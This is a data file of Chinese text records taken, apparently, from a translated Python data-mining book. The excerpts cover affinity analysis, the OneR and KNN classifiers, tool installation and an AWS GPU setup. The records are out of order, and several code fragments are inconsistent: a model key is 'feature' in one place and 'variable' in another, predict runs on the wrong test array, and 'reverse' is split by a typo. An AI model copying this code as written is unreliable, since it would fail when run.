    {"text": "代码如下： def get_text_from_file(filename): with open(filename) as inf: html_tree = lxml.html.parse(inf) return get_text_from_node(html_tree.getroot()) 上述函数的最后一行，调用 getroot() 函数，获取到树的根节点，而不是整棵树 etree ，这样文本抽取函数 get_text_from_node 以节点作为参数，它能处理包括根节点在内的所有节点，便于递归调用。"},
    {"text": "文本抽取函数将在任何子节点上调用自己，以抽取子节点中的文本内容，最后返回拼接在一起的所有子节点的文本。 如果一个节点没有任何子节点，文本抽取函数返回该节点的文本内容。"},
    {"text": "代码如下： def get_text_from_node(node): if len(node) == 0: # No children, just return text from this item if node.text and len(node.text) > 100: return node.text else: return \"\" 明确节点有子节点之后，就对每一个子节点递归调用文本抽取函数，把返回的文本内容拼接在一起。 代码如下： results = (get_text_from_node(child) for child in node if child.tag not in skip_node_types) return \"\\n\".join(r for r in results if len(r) > 1) 上面 return 语句中的 if 语句是为了防止返回空行（例如，有的节点没有子节点和文本内容）。"},
    {"text": "——译者注 for filename in os.listdir(data_folder): text = get_text_from_file(os.path.join(data_folder, filename)) with open(os.path.join(text_output_folder, filename), 'w') as outf: outf.write(text) 打开纯文本文件夹中的文件，查看它们是否有内容。"},
    {"text": "数据挖掘有个常见的应用场景，即顾客在购买一件商品时，商家可以趁机了解他们还想买什么，以便把多数顾客愿意同时购买的商品放到一起销售以提升销售额。"},
    {"text": "原来线下由人工来完成的商品推荐工作，现在依靠数据挖掘技术就能完成，而且每年能为商家多进账几亿美元，强力助推电子商务革命的发展！ 我们一起看下简单的商品推荐服务，它背后的思路其实很好理解：人们之前经常同时购买的两件商品，以后也很可能会同时购买。"},
    {"text": "顾客购买商品后，在向他们推荐商品前，先查询一下历史交易数据，找到以往他们购买同样商品的交易数据，看看同时购买了什么，再把它们推荐给顾客即可。"},
    {"text": "在当前目录 4 下，启动IPython Notebook，导航进入新建的文件夹，创建一个新的笔记本文件。 4 在命令行，切换到新建的文件夹，输入ipython3 notebook命令。"},
    {"text": "说起来有些拗口，为方便讲解，使用如下代码把数据集加载进来，稍后输出数组的部分数据看看效果： import numpy as np dataset_filename = \"affinity_dataset.txt\" X = np.loadtxt(dataset_filename) 运行IPython Notebook，创建笔记本文件，在第一个格子中输入上述代码。"},
    {"text": "代码运行完毕后，第一个格子左侧的方括号中出现一个表示序号的数字，看到这个数字就表明程序运行结束。 第一个格子应该如下所示： 对于笔记本文件，前面的代码运行完后，后面的才能运行；"},
    {"text": "在笔记本空格子中输入以下代码，输出数据集的前5行看看： print(X[:5]) 如果你从 http://www.packtpub.com 网站购买的图书，登录后即可下载已购图书的代码文件。"},
    {"text": "每个特征只有两个可能的值，1或0，表示是否购买了某种商品，而不是购买商品的数量。 1表示顾客至少买了1个单位的该商品，0表示顾客没有买该种商品。"},
    {"text": "支持度衡量的是给定规则应验的比例，而置信度衡量的则是规则准确率如何，即符合给定条件（即规则的“如果”语句所表示的前提条件）的所有规则里，跟当前规则结论一致的比例有多大。"},
    {"text": "接下来，通过一个例子来说明支持度和置信度的计算方法，我们看一下怎么求“ 如果顾客购买了苹果，他们也会购买香蕉 ”这条规则的支持度和置信度。"},
    {"text": "字典的键是由条件和结论组成的元组，元组元素为特征在特征列表中的索引值，不要用实际特征名，比如“ 如果顾客购买了苹果，他们也会买香蕉 ”就用(3, 4)表示。"},
    {"text": "如果某个个体的条件和结论均与给定规则相符，就表示给定规则对该个体适用，否则如果通过给定条件推出的结论与给定规则的结论不符，则表示给定规则对该个体无效。"},
    {"text": "from collections import defaultdict valid_rules = defaultdict(int) invalid_rules = defaultdict(int) num_occurances = defaultdict(int) 计算过程需要用到循环结构，依次对样本的每个个体及个体的每个特征值进行处理。"},
    {"text": "for sample in X: for premise in range(4): 检测个体是否满足条件，如果不满足，继续检测下一个条件。 if sample[premise] == 0: continue 如果条件满足（即值为1），该条件的出现次数加1。"},
    {"text": "num_occurances[premise] += 1 for conclusion in range(n_features): if premise == conclusion: continue 如果规则适用于个体，规则应验这种情况（ valid_rules 字典中，键为由条件和结论组成的元组）增加一次，反之，违反规则情况（ invalid_rules 字典中）就增加一次。 if sample[conclusion] == 1: valid_rules[(premise, conclusion)] += 1 else: invalid_rules[(premise, conclusion)] += 1 得到所有必要的统计量后，我们再来计算每条规则的 支持度 和 置信度 。"},
    {"text": "support = valid_rules 置信度的计算方法类似，遍历每条规则进行计算。 confidence = defaultdict(float) for premise, conclusion in valid_rules.keys(): rule = (premise, conclusion) confidence[rule] = valid_rules[rule] / num_occurances[premise] 我们得到了支持度字典和置信度字典，分别包含每条规则的支持度和置信度。"},
    {"text": "def print_rule(premise, conclusion, support, confidence, features): 之前建立的features列表派上用场了，每条规则的条件、结论就是用features列表中特征的索引来表示的。"},
    {"text": "premise_name = features[premise] conclusion_name = features[conclusion] print(\"Rule: If a person buys {0} they will also buy {1}\".format(premise_name, conclusion_name)) 接着输出规则的支持度和置信度。 print(\" - Support: {0}\".format(support[(premise, conclusion)])) print(\" - Confidence: {0:.3f}\".format(confidence[(premise, conclusion)])) 写完后，自己测试一下代码是否可用——尝试更换条件和结论，看看输出结果如何。"},
    {"text": "1.3.5 排序找出最佳规则 得到所有规则的支持度和置信度后，为了找出 最佳 规则，还需要根据支持度和置信度对规则进行排序，我们分别看一下这两个标准。"},
    {"text": "我们使用 itemgetter() 类作为键，这样就可以对嵌套列表进行排序。 itemgetter(1) 表示以字典各元素的值（这里为支持度）作为排序依据， reverse=True 表示降序排列。 from operator import itemgetter sorted_support = sorted(support.items(), key=itemgetter(1), re verse=True) 排序完成后，就可以输出支持度最高的前5条规则。 for index in range(5): print(\"Rule #{0}\".format(index + 1)) premise, conclusion = sorted_support[index][0] print_rule(premise, conclusion, support, confidence, features) 结果如下所示： 同理，我们还可以输出置信度最高的规则。"},
    {"text": "sorted_confidence = sorted(confidence.items(), key=itemgetter(1), reverse=True) 再次输出看看结果。 注意输出方法相同，但是请留意下面第三行代码里 sorted_confidence 的变化，不要继续使用 sorted_support 。"},
    {"text": "for index in range(5): print(\"Rule #{0}\".format(index + 1)) premise, conclusion = sorted_confidence[index][0] print_rule(premise, conclusion, support, confidence, features) 从排序结果来看，“ 顾客买苹果，也会买奶酪 ”和“ 顾客买奶酪，也会买香蕉 ”，这两条规则的支持度和置信度都很高。"},
    {"text": "但是香蕉和奶酪同时搞促销就没有多大意义了，因为我们发现购买奶酪的顾客中，接近66%的人即使不搞促销也会买香蕉——即使搞促销，也不会给销量带来多大提升。"},
    {"text": "Unknown 1.2 使用Python和IPython Notebook 本节将介绍Python的安装方法，及本书所用到的开发环境IPython Notebook的搭建方法。此外，还将安装第一部分示例代码所用到的 numpy 库。 1.2.1 安装Python Python是一门出色的、应用范围广泛且简单易用的编程语言。 本书将使用Python 3.4版本，你可以根据自己的系统从Python官网 https://www.python.org/downloads/ 下载合适的版本。 Python主要有两大版本Python 3.4和Python 2.7。记得要下载安装Python 3.4，本书所有代码都在该版本中测试过。 本书假定读者了解编程和Python相关知识。本书不要求你是Python编程高手，当然有较多的知识储备学起来更容易。 如果你没有任何编程经验，我建议你先看看《Python学习手册》。 Python官网为新手准备了两份在线教程。 非程序员背景，想通过Python学习编程： https://wiki.python.org/moin/BeginnersGuide/NonProgrammers 程序员背景，想专门学习Python： https://wiki.python.org/moin/BeginnersGuide/Programmers Windows用户设置好环境变量后，才能在命令行中使用Python。方法如下。首先，找到Python 3的安装路径，默认为C:\\Python34。接下来，在命令行（cmd程序）中输入以下命令：将环境设置为 PYTHONPATH=%PYTHONPATH%; C:\\ Python34 1 。如果你将Python安装到其他路径下，请根据实际情况调整上述命令中的C:\\Python34。 1 Python官网介绍了Windows系统的两种环境变量设置方法。建议直接把Python的安装路径添加到Path中，位置如下：计算机—属性—高级系统设置—环境变量，这也是官网介绍的第一种方法。译者使用的就是这一种。作者讲的是第二种方法，详见 https://docs.python.org/3.4/using/windows.html#excursus-setting-environment-variables 。——译者注 安装好Python，打开命令提示符，输入以下命令： $ python3 Python 3.4.0 (default, Apr 11 2014, 13:05:11) [GCC 4.8.2] on Linux Type \"help\", \"copyright\", \"credits\" or \"license\" for more information. >>> print(\"Hello, world!\") Hello, world! >>> exit() 请注意，我们用美元符号（$）表示紧跟在后面的语句是一条命令，要输入到终端（Unix系统中的shell，Windows系统中的cmd程序）。美元符号及后面的空格无须输入。输入后面的内容，然后敲回车执行命令。 运行完经典的“Hello, world!”例子后，退出Python，继续安装用来运行Python代码的更为高级的开发环境IPython Notebook。 Python 3.4内置了Python的包管理器pip，用它来安装Python包很方便。使用 $ pip3 freeze 2 命令可以验证pip是否能正常运行，该命令还会输出你用它安装过哪些包。 2 Windows用户需要事先把pip添加到环境变量中，才能在命令行使用。——译者注 1.2.2 安装IPython Python开发平台IPython提供多种Python开发工具和开发环境，比标准解释器多出好多功能。IPython Notebook功能强大，有了它，你就可以在Web浏览器中编写程序。它会为代码添加样式，显示运行结果，允许你为代码添加注释。用它来做数据分析再好不过，我们将把它作为主要的开发环境。 请在命令提示符后（注意不是Python中），输入以下命令安装IPython： $ pip install ipython[all] 如果要为系统所有用户安装IPython，需要管理员权限。如果你只想自己用或者没有权限做系统级别的变更，则使用以下命令为当前用户安装即可： $ pip install --user ipython[all] 以上命令只为当前用户安装IPython——该系统的其他用户将无法使用。安装过程中若遇到问题，请查阅官方文档，了解更多帮助信息： http://ipython.org/install.html 。 安装好IPython Notebook后，运行方式如下： $ ipython3 notebook 上述命令帮你做了两件事。首先，在命令提示符界面创建一个IPython Notebook实例。其次，打开Web浏览器，连接到实例，你可以在此创建新的笔记本文件 3 。Notebook界面如下图所示（注意图中的home/bob为当前用户的主目录，你看到的是自己的主目录，所以目录名称很可能不同）。 3 笔记本文件，英文为“notebook”，即用IPython Notebook创建的文件。——译者注 IPython Notebook的关闭方法如下：打开运行实例的终端界面（就是你之前用IPython命令创建Notebook实例的界面），按下Ctrl+C键，系统提示 Shutdown this notebook server (y/[n])? ，询问你是否关闭笔记本服务器。输入 y ，敲回车， IPython Notebook 就会关闭。 1.2.3 安装 scikit-learn 库 scikit-learn 是用Python开发的机器学习库，它包含大量机器学习算法、数据集、工具和框架。它以Python科学计算的相关工具集为基础，其中 numpy 和 scipy 等都针对数据处理任务进行过优化，因此 scikit-learn 速度快、扩展性强，新手会觉得它很好用，老手也不会觉得它功能逊色。更多内容请见第2章。 scikit-learn 库可用Python 3提供的 pip 工具进行安装，之前没有安装NurmPy和SciPy的话，也会顺便安装。用管理员/根用户权限打开一个终端，然后输入以下命令： $ pip3 install -U scikit-learn Windows用户在安装scikitlearn之前，可能需要先安装NurmPy和SciPy。安装指南请见 www.scipy.org/install.html 。 Ubuntu或红帽（Red Hat）等Linux系统的用户也许希望用自带的包管理器安装 scikit-learn ，但是它们提供的版本很可能不是最新的，所以在安装前需仔细核对版本。本书使用的版本不能低于0.14，否则书中代码可能无法运行。 如何通过编译源文件进行安装，以及更多的安装指南，请见官方文档： http://scikit-learn.org/stable/install.html 。"},
    {"text": "Unknown 问题 你对本书有任何方面的问题，都可以通过questions@packtpub.com邮箱联系我们，我们也将尽最大努力来帮你答疑解惑。 Unknown 第 6 章 使用朴素贝叶斯进行社会媒体挖掘 不论是书、历史文档、社会媒体、电子邮件还是其他以文字为主的通信方式，都包含大量信息。从文本数据集抽取特征，用于分类不是件容易事。然而，人们还是总结出了文本挖掘的通用方法。 本章介绍如何用强大却出奇简单的朴素贝叶斯算法消除社会媒体用语的歧义。朴素贝叶斯算法在计算用于分类的概率时，为简化计算，假定各特征之间是相互独立的，因此名字中含有 朴素 二字。它稍经扩展就能用于对其他类型数据集进行分类，且不依赖于数值特征。本章创建的模型在多种数据集上表现还不错，可作为很多文本挖掘研究的基准。 本章主要涉及如下内容。 用社交网络的API下载数据 用于处理文本的转换器 朴素贝叶斯分类器 用JSON保存和加载数据集 用NLTK库从文本中抽取特征 用F值评估分类效果"},
    {"text": "对于分类问题，我们通常能拿到表示实际对象或事件的数据集，我们知道数据集中每一条数据所属的类别，这些类别把一条条数据划分为不同的类。"},
    {"text": "例如，我们可以对收到的邮件进行分类，标注哪些是自己希望收到的，哪些是垃圾邮件，然后用这些数据训练分类模型，实现一个垃圾邮件过滤器，这样以后再收到邮件，就不用自己去确认它是不是垃圾邮件了，过滤器就能帮你搞定。"},
    {"text": "这个数据集共有150条植物数据，每条数据都给出了四个特征：sepal length、sepal width、petal length、petal width（分别表示萼片和花瓣的长与宽），单位均为cm。"},
    {"text": "from sklearn.datasets import load_iris dataset = load_iris() X = dataset.data y = dataset.target 用 print(dataset.DESCR) 命令查看数据集，大概了解一下，包括特征的说明。"},
    {"text": "但是这不能说明前两种植物，要比第一种和第三种更相近——尽管单看表示类别的数字时确实如此。 在这里，数字表示类别，只能用来判断两种植物是否属于同一种类别，而不能说明是否相似。"},
    {"text": "X_d = np.array(X >= attribute_means, dtype='int') 后面的训练和测试，都将使用新得到的 X_d 数据集（ 打散 后的数组X），而不再使用原来的数据集（X）。"},
    {"text": "算法首先遍历每个特征的每一个取值，对于每一个特征值，统计它在各个类别中的出现次数，找到它出现次数最多的类别，并统计它在其他类别中的出现次数。"},
    {"text": "特征值为0的情况下，A类有20个这样的个体，B类有60个，C类也有20个。 那么特征值为0的个体最可能属于B类，当然还有40个个体确实是特征值为0，但是它们不属于B类。 将特征值为0的个体分到B类的错误率就是40%，因为有40个这样的个体分别属于A类和C类。"},
    {"text": "特征值为1时，计算方法类似，不再赘述； 其他各特征值最可能属于的类别及错误率的计算方法也一样。 统计完所有的特征值及其在每个类别的出现次数后，我们再来计算每个特征的错误率。 计算方法为把它的各个取值的错误率相加，选取错误率最低的特征作为唯一的分类准则（OneR），用于接下来的分类。"},
    {"text": "def train_feature_value(X, y_true, feature_index, value): 接下来遍历数据集中每一条数据（代表一个个体），统计具有给定特征值的个体在各个类别中的出现次数。 class_counts = defaultdict(int) for sample, y in zip(X, y_true): if sample[feature_index] == value: class_counts[y] += 1 对 class_counts 字典进行排序，找到最大值，就能找出具有给定特征值的个体在哪个类别中出现次数最多。 sorted_class_counts = sorted(class_counts.items(), key=itemgetter(1), reverse=True) most_frequent_class = sorted_class_counts[0][0] 接着计算该条规则的错误率。"},
    {"text": "incorrect_predictions = [class_count for class_value, class_count in class_counts.items() if class_value != most_frequent_class] error = sum(incorrect_predictions) 最后返回使用给定特征值得到的待预测个体的类别和错误率。 return most_frequent_class, error 对于某项特征，遍历其每一个特征值，使用上述函数，就能得到预测结果和每个特征值所带来的错误率，然后把所有错误率累加起来，就能得到该特征的总错误率。"},
    {"text": "predictors = {} errors = [] 函数的主干部分遍历选定特征的每个不同的特征值，用前面定义的 train_feature_value() 函数找出每个特征值最可能的类别，计算错误率，并将其分别保存到预测器predictors和errors中。 for current_value in values: most_frequent_class, error = train_feature_value(X, y_true, feature_index, current_value) predictors[current_value] = most_frequent_class errors.append(error) 最后，计算该规则的总错误率，返回预测器及总错误率。 total_error = sum(errors) return predictors, total_error 1.5.3 测试算法 上一节中亲和性分析算法的目标是从数据集中发现用以指导实践的规则。"},
    {"text": "from sklearn.cross_validation import train_test_split 该函数根据设定的比例（默认把数据集的25%作为测试集）将数据集随机切分为两部分，以确保测试结果的可信度。"},
    {"text": "Xd_train, Xd_test, y_train, y_test = train_test_split(X_d, y, random_state=14) 这样我们就得到了两个数据集：训练集 Xd_train 和测试集 Xd_test 。 y_train 和 y_test 分别为以上两个数据集的类别信息。"},
    {"text": "all_predictors = {} errors = {} for feature_index in range(Xd_train.shape[1]): predictors, total_error = train_on_feature(Xd_train, y_train, feature_index) all_predictors[feature_index] = predictors errors[feature_index] = total_error 然后找出错误率最低的特征，作为分类的唯一规则。 best_feature, best_error = sorted(errors.items(), key=itemgetter(1)) [0] 对预测器进行排序，找到最佳特征值，创建 model 模型。 model = {'feature': best_feature, 'predictor': all_predictors[best_feature][0]} model 模型是一个字典结构，包含两个元素：用于分类的特征和预测器。"},
    {"text": "示例如下： variable = model['variable'] predictor = model['predictor'] prediction = predictor[int(sample[variable])] 我们经常需要一次对多条数据进行预测，为此用上面的代码实现了下面这个函数，通过遍历数据集中的每条数据来完成预测。 def predict(X_test, model): variable = model['variable'] predictor = model['predictor'] y_predicted = np.array([predictor[int(sample[variable])] for sample in X_test]) return y_predicted 我们用上面这个函数预测测试集中每条数据的类别。 y_predicted = predict(X_test, model) 比较预测结果和实际类别，就能得到正确率是多少。 accuracy = np.mean(y_predicted == y_test) * 100 print(\"The test accuracy is {:.1f}%\".format(accuracy)) 输出结果为68%，对于只使用一条规则来说，这就很不错了！"},
    {"text": "Unknown 本书的阅读前提 毫无疑问，要完成本书的学习，你需要准备一台电脑。电脑不能太旧，但也不用配置太高。只要是最近几年的处理器（2010年以后），4GB内存（RAM）就足够了。在性能稍差一点的机器上运行本书中的大部分代码，应该也不会有问题。 最后两章的代码对机器性能要求较高。在这两章中，我介绍了如何使用亚马逊网络服务（AWS）运行代码。这多少可能会让你破费一些，与在本地运行代码相比，好处是不用做那么多系统配置。如果你不想掏钱购买亚马逊的网络服务，可以在本地主机上配置好所有的工具，当然你需要一台配置较高的计算机：2012年及以后的处理器，内存在4GB以上。 我推荐使用Ubuntu操作系统，但是本书示例代码也可以在Windows、Mac和其他任何Linux系统上运行。然而，你可能需要参考系统的相关文档来完成必要工具的安装。 本书中，我将使用命令行工具 pip 来安装我们用到的Python库。你也可以使用Anaconda，下载地址为 http://continuum.io/downloads 。 本书所有代码都已在Python 3中测试过。大部分代码无需修改就能在Python 2下运行。如果你遇到什么问题解决不了，请发邮件给我们，我们帮你看看怎么解决。 Unknown 第 2 章 用 scikit-learn 估计器分类 用Python语言编写的 scikit-learn 库，实现了一系列数据挖掘算法，提供通用编程接口、标准化的测试和调参工具，便于用户尝试不同算法对其进行充分测试和查找最优参数值。有大量使用 scikit-learn 库的算法和工具。 本章讲解数据挖掘通用框架的搭建方法。有了这样一个框架，后续章节就可以把讲解重点放到数据挖掘应用和技术上面。 本章主要介绍如下几个概念。 估计器 （Estimator）：用于分类、聚类和回归分析。 转换器 （Transformer）：用于数据预处理和数据转换。 流水线 （Pipeline）：组合数据挖掘流程，便于再次使用。 Unknown 第 10 章——新闻语料分类 算法评价 聚类算法效果评价是个大难题——一方面，我们也能多少知道好的分簇结果应该是什么样子；另一方面，如果我们确实知道，那就应该标注一部分数据，使用有监督的分类器对数据进行分类！该话题相关文章很多。下面这份文档介绍了聚类算法评价的难点所在： http://www.cs.kent.edu/~jin/DM08/ClusterValidation.pdf 这里有份关于该主题的更全面（虽然有点过时）的一份文档： http://web.itu.edu.tr/sgunduz/courses/verimaden/paper/validity_survey.pdf 。 scikit-learn 实现了几种评价方法，对它们的综述请见 http://scikit-learn.org/stable/modules/clustering.html#clustering-performance-evaluation 。 有了这些方法，你就能评估使用哪些参数值可以取得更好的聚类效果。网格搜索能帮助我们找到参数的最佳取值——就像在分类中用到的那样！ 近期趋势分析 你可以运行我们本章编写的代码几个月。为期间发现的每个簇添加几个标签，便于我们了解哪些主题一直很活跃，从而了解近几个月全世界新闻焦点。 我们可以使用调整互信息等评价标准，比较聚类结果，请见上面评价方法综述链接。观察下一个月、两个月、半年和一年之后聚类的变化结果。 实时聚类 k-means算法可以随着时间的推进，不断训练和更新，而不是在给定时间内做离散分析。你可以通过几种方法跟踪聚类变化——例如，跟踪每个簇中频率最高的几个单词或质心点每天移动的距离。别忘了网站API使用上限——你可能只需要每隔几个小时检查下有无新数据，就能保证结果是实时的。 Unknown 第 5 章 用转换器抽取特征 前几章所用到的数据集都是用特征来描述的。虽然上一章的数据集为交易类型的数据，形式稍有不同，但归根结底还是一种用特征来描述的数据集。 除此之外，还有很多其他类型的数据集，比如文本、图像、声音、视频甚至是真实的物体。然而，大多数数据挖掘算法都依赖于数值或类别型特征。这表明在使用数据挖掘算法处理它们之前，需要找到一种表示它们的方法。 本章所讨论的是如何从数据集中抽取数值和类别型特征，并选出最佳特征，前提是数据集确实包含这些特征。我们还会介绍特征抽取的常用模式和技巧。 本章主要介绍以下几个概念。 从数据集中抽取特征 创建新特征 选取好特征 创建转换器，处理数据集"},
    {"text": "Unknown 11.4 GPU优化 神经网络体积可能会增长得很大，这意味着需要更多内存；然而，使用稀疏矩阵这样高效的存储方式把整个神经网络装进内存一般不会遇到问题。 神经网络体积增长带来的主要问题是计算时间增加。此外，对于有些数据集，神经网络需要更多的训练步数才能较好地拟合数据集。本章所创建的神经网络在我性能还不错的计算机上，每完成一步训练需要八分多钟，而我们需要运行数十步甚至成百上千步训练。体积更大的神经网络，每一步训练需要几个小时，而为了取得最佳效果，可能需要成千上万步训练。 多长时间才能完成训练啊！ 好在神经网络最核心的计算类型主要为浮点型运算。此外，由于神经网络训练过程主要为矩阵操作，大量运算都可以并行处理。这些因素表明用GPU进行计算，能提升训练速度。 11.4.1 什么时候使用GPU进行计算 GPU的设计初衷是用于图像渲染。这些图像用矩阵及由矩阵组成的数学方程式来表示，它们被转换为我们在屏幕上看到的像素。这个过程涉及大量并行计算。如今的CPU很可能是多核（你的计算机可能有2、4，甚至16个核——或更多！），GPU却拥有专门用于图像处理的成千上万个小核。 CPU每个核单独工作速度往往更快，访问计算机内存等操作效率更高，因而适合处理序列化任务。说实话，让CPU出苦力更容易，因为几乎所有的机器学习库默认使用CPU，如果要用GPU做并行计算，需要很多额外工作，但是它所带来的好处也是显而易见的。 有些任务，包含大量数字运算，但计算量都不大，可以同时处理，这样的任务最好交由GPU来处理。很多机器学习任务都具有类似的特点，因此使用GPU处理能提升算法运行速度。 让代码在GPU上跑起来可不简单，中间可能会遇到各种各样的挫折，具体与GPU类型、配置方式、操作系统相关，有时你可能还需要修改计算机底层设置。 使用GPU运算，主要方法有以下三种。 第一种，使用现有计算机。了解你的计算机型号，查找GPU、操作系统相关的软件和驱动程序，寻找相关教程，软件、教程是否能用与操作系统相关。不过，现在使用GPU，比前几年容易多了，有更多更好的软件和驱动程序来启动GPU计算。 第二种，选定计算机系统，找到关于如何设置系统的文档，购买一台装有这种系统的新计算机，买的系统很好用，但是可能相当昂贵——如今的计算机，GPU是价格最高的部件之一。尤其是你对性能有更高要求的话——你需要一个价格不菲的好GPU。 第三种，使用专门为GPU计算而配置的虚拟机。例如，Markus Beissinger在亚马逊的AWS上搭建了一个这样的系统，该系统不是免费的，你得付费才能使用它提供的服务，但是比起购买一台新计算机要便宜得多。具体费用由你所在的区域、使用的系统类型和资源消耗数量来决定，你可能每小时花不到1美元，往往比这还要少得多。如果你使用AWS的竞价型实例（spot instance），每小时只需几美分（然而你需要单独开发在竞价型实例上运行的代码）。 如果你无法承担虚拟机开销，我建议你使用上面提到的第一种方法，即使用现有的计算机。你还可以试试看能不能从隔段时间就要换装备的家人或朋友那里找到二手GPU（爱玩游戏的朋友很可能有哦！）。 11.4.2 用GPU运行代码 我们这里将使用上述第三种方法，在Markus Beissinger系统的基础上创建一个虚拟机，该虚拟机运行在亚马逊的EC2云平台上。除了EC2，还有很多其他Web服务可供使用，但方法可能跟这里有所不同。我会讲下如何在亚马逊云平台上搭建虚拟机。 如果你打算使用自己的计算机，并且已经配置好，可以用GPU进行计算了，请跳过该节。 关于如何进行设置的更多信息，请见 http://markus.com/installtheano-on-aws/ ，也许还提供在其他计算机上启用GPU计算的方法。 下面，看下如何在AWS上创建虚拟机。首先，访问AWS的登录界面。 https://console.aws.amazon.com/console/home?region=us-east-1 用你的AWS账号登录。如果没有，得先创建一个才能继续下面的操作。 接着，访问EC2云平台的控制台： https://console.aws.amazon.com/ec2/v2/home?region=us-east-1 。 点击Launch Instance，从右上方的下拉菜单中选择N. California作为目的地。 点击Community AMIs，搜索ami-b141a2f5，这就是Markus Beissinger创建的系统。然后，点击Select。下一屏中的机器类型选择g2.2xlarge，点击Review and Launch。在下一屏，点击Launch。 这个时候，AWS开始向你收费，所以使用完毕后请关机。从EC2云平台选择你刚创建的云主机，先停止运行。机器处于停机状态，不需要支付费用。 系统会给出如何连接虚拟机的相关信息。如果你之前没有使用过AWS，你可能需要创建密钥以安全连接虚拟机。创建时，需要指定密钥的名称，下载.pem格式的密钥文件，将其保存到一个安全地方——一旦丢失，你将无法登录自己的虚拟机！ 点击Connect，了解如何使用密钥文件连接虚拟机。你很可能是用如下 ssh 命令登录。 ssh -i <certificante_name>.pem ubuntu@<server_ip_address>"},
    {"text": "人们耳熟能详的距离度量方法就是 欧氏 距离，即 真实 距离。 假如你在图像中画两个点，用直尺测量这两个点之间的距离，得到的结果就是欧氏距离。"},
    {"text": "（图像来自 https://www.flickr.com/photos/geckzilla/16149273389/ ） Ionosphere数据集可以从UCI机器学习数据库下载，该数据库包含大量数据集，可用于多种数据挖掘任务。"},
    {"text": "如果你不确定，可以使用下面的Python代码输出主目录所在位置： import os print(os.path.expanduser(\"~\")) 该数据集每行有35个值，前34个为17座天线采集的数据（每座天线采集两个数据）。"},
    {"text": "import numpy as np import csv 加载数据集前，用Data文件夹路径、数据集所在的文件夹名称和数据集名称组合成数据集文件的完整路径。 data_filename = os.path.join(data_folder, \"Ionosphere\", \"ionosphere.data\") 创建Numpy数组 X 和 y 存放数据集。"},
    {"text": "在以后的实际工作中，如果你不知道数据集大小也没关系——后面章节会讲如何在不知道数据集大小的情况下加载它，具体怎么做现在不知道也没关系。"},
    {"text": "X = np.zeros((351, 34), dtype='float') y = np.zeros((351,), dtype='bool') Ionosphere数据集文件为CSV（Comma-Separated Values，用逗号分隔数据项）格式，这是常用的数据集存储格式。"},
    {"text": "data = [float(datum) for datum in row[:-1]] X[i] = data 最后，获取每个个体最后一个表示类别的值，把字母转化为数字，如果类别为“g”，值为1，否则值为0。 y[i] = row[-1] == 'g' 到此，我们就把数据集读到了数组 X 中，类别读入了数组 y 中，与我们在上一章的做法相同。"},
    {"text": "from sklearn.cross_validation import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=14) 然后，导入 K 近邻分类器这个类，并为其初始化一个实例。"},
    {"text": "y_predicted = estimator.predict(X_test) accuracy = np.mean(y_test == y_predicted) * 100 print(\"The accuracy is {0:.1f}%\".format(accuracy)) 正确率为86.4%。"},
    {"text": "虽然 scikit-learn 提供的大多数默认参数适用范围广，效果也不错，但我们还是要学着根据实验的实际情况，尽可能选用合适的参数值，争取达到最佳效果。"},
    {"text": "——译者注 (2) 对于每一部分执行以下操作： 将其中一部分作为当前测试集 用剩余部分训练算法 在当前测试集上测试算法 (3) 记录每次得分及平均得分。"},
    {"text": "from sklearn.cross_validation import cross_val_score cross_val_score 默认使用Stratified K Fold方法切分数据集，它大体上保证切分后得到的子数据集中类别分布相同，以避免某些子数据集出现类别分布失衡的情况。"},
    {"text": "scores = cross_val_score(estimator, X, y, scoring='accuracy') average_accuracy = np.mean(scores) * 100 print(\"The average accuracy is {0:.1f}%\".format(average_accuracy)) 哦，结果为82.3%，较之前稍微差点，但考虑到我们还没有尝试调整参数，这个结果还是相当不错的。"},
    {"text": "avg_scores = [] all_scores = [] parameter_values = list(range(1, 21)) # Include 20 for n_neighbors in parameter_values: estimator = KNeighborsClassifier(n_neighbors=n_neighbors) scores = cross_val_score(estimator, X, y, scoring='accuracy') 把不同 n_neighbors 值的得分和平均分保存起来，留作分析用。 avg_scores.append(np.mean(scores)) all_scores.append(scores) 为了看起来更直观，我们可以用图表来表示 n_neighbors 的不同取值和分类正确率之间的关系。"},
    {"text": "%matplotlib inline 然后，从 matplotlib 库导入 pyplot ，参数为近邻数和平均正确率。 from matplotlib import pyplot as plt plt.plot(parameter_values, avg_scores, '-o') 从上图可以看到，虽然有很多曲折变化，但整体趋势是随着近邻数的增加，正确率不断下降。"},
    {"text": "Unknown 第 1 章——开始数据挖掘之旅 Scikit-learn 教程 http://scikit-learn.org/stable/tutorial/index.html scikit-learn 文档提供了一系列数据挖掘教程。教程涵盖范围广，从适合新手把玩的数据集一直介绍到最近研究所用的技术。 想从头到尾学一遍这个教程，不肯下功夫是不行的——这份教程很全面——也值得在上面下功夫。 扩展IPython Notebook http://ipython.org/ipython-doc/1/interactive/public_server.html IPython Notebook功能强大，扩展方式很多，比如可以在别的计算机上创建服务器，运行笔记本文件，在你的主计算机上访问即可。如果你的主计算机性能一般，比如配置还算凑合的笔记本电脑，而其他可以供你支配的计算机性能很好，使用IPython Notebook在性能不错的计算机运行服务器是个好主意。此外，你还可以创建节点，采用并行方式处理数据。下面网站有不少数据集，一并分享给你。 http://archive.ics.uci.edu/ml/ 。 网上有很多由学术、商业和政府机构提供的数据集。UCI 机器学习数据库里有一系列标注好的数据集，用它们来测试算法很不错。 尝试下看看OneR算法在不同数据集上的表现。 Unknown 第 3 章——用决策树预测获胜球队 pandas的更多内容 http://pandas.pydata.org/pandas-docs/stable/tutorials.html pandas库很周到——你加载数据时所能用到的各种功能，它很可能都已实现了。更多内容请见上面的链接。 Chris Moffitt 写了篇很不错的博文，介绍常见的Excel数据处理任务，如何用pandas完成： http://pbpython.com/excel-pandas-comp.html 。 你还可以用pandas处理大数据集；可以看下StackOverflow用户Jeff对以下问题的解答（写作本书时 2 是最佳答案），了解处理过程： http://stackoverflow.com/questions/14262433/large-data-work-flows-using-pandas 。 2 翻译本书时依旧是最佳答案。——译者注 Brian Connelly的pandas教程也很棒： http://bconnelly.net/2013/10/summarizing-data-in-python-with-pandas/ 。 更多复杂特征 http://www.basketball-reference.com/teams/ORL/2014_roster_status.html 每个赛季不同的比赛，上场队员也会有所不同。本来志在必得的比赛，很可能因为核心球员受伤而打得很艰难。你可以从篮球参考网站找到球队的队员名单。例如，上述链接指向的就是2013—2014赛季奥兰多魔术队（Orlando Magic）球员名单——所有NBA球队的类似数据都能从该网站找到。 编写代码，整合队员异动信息，以此作为新特征，可以有效提升模型表现，但是工作量不小！ Unknown 第 4 章 用亲和性分析方法推荐电影 